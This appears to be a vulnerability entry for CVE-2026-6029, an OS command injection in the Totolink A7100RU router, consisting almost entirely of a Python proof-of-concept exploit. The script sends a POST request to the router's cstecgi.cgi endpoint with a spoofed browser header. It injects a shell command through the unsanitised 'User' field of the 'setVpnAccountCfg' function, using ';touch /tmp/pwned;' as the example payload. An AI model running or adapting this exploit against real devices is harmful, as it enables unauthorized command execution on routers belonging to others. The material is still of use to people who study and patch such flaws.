CVE-2026-6029 Totolink A7100RU操作系统命令注入漏洞

import requests def exploit(target_ip): # Target endpoint vulnerable to OS command injection url = f"http://{target_ip}/cgi-bin/cstecgi.cgi" # Headers to mimic a legitimate browser request headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded", "Accept": "*/*" } # The vulnerability exists in the 'setVpnAccountCfg' function # The 'User' parameter is not sanitized and is passed directly to a system call # Payload example: Injecting a command to create a test file or ping a server # Using a semicolon (;) to chain commands payload = ";touch /tmp/pwned;" # Data payload structure based on typical Totolink CGI requests data = { "function": "setVpnAccountCfg", "User": payload, "Pwd": "password" # Placeholder, often required by the logic but not the exploit } try: print(f"[+] Sending exploit payload to {target_ip}...") response = requests.post(url, headers=headers, data=data, timeout=5) if response.status_code == 200: print("[+] Request sent successfully. Check if command executed.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "192.168.0.1" # Replace with target IP exploit(target)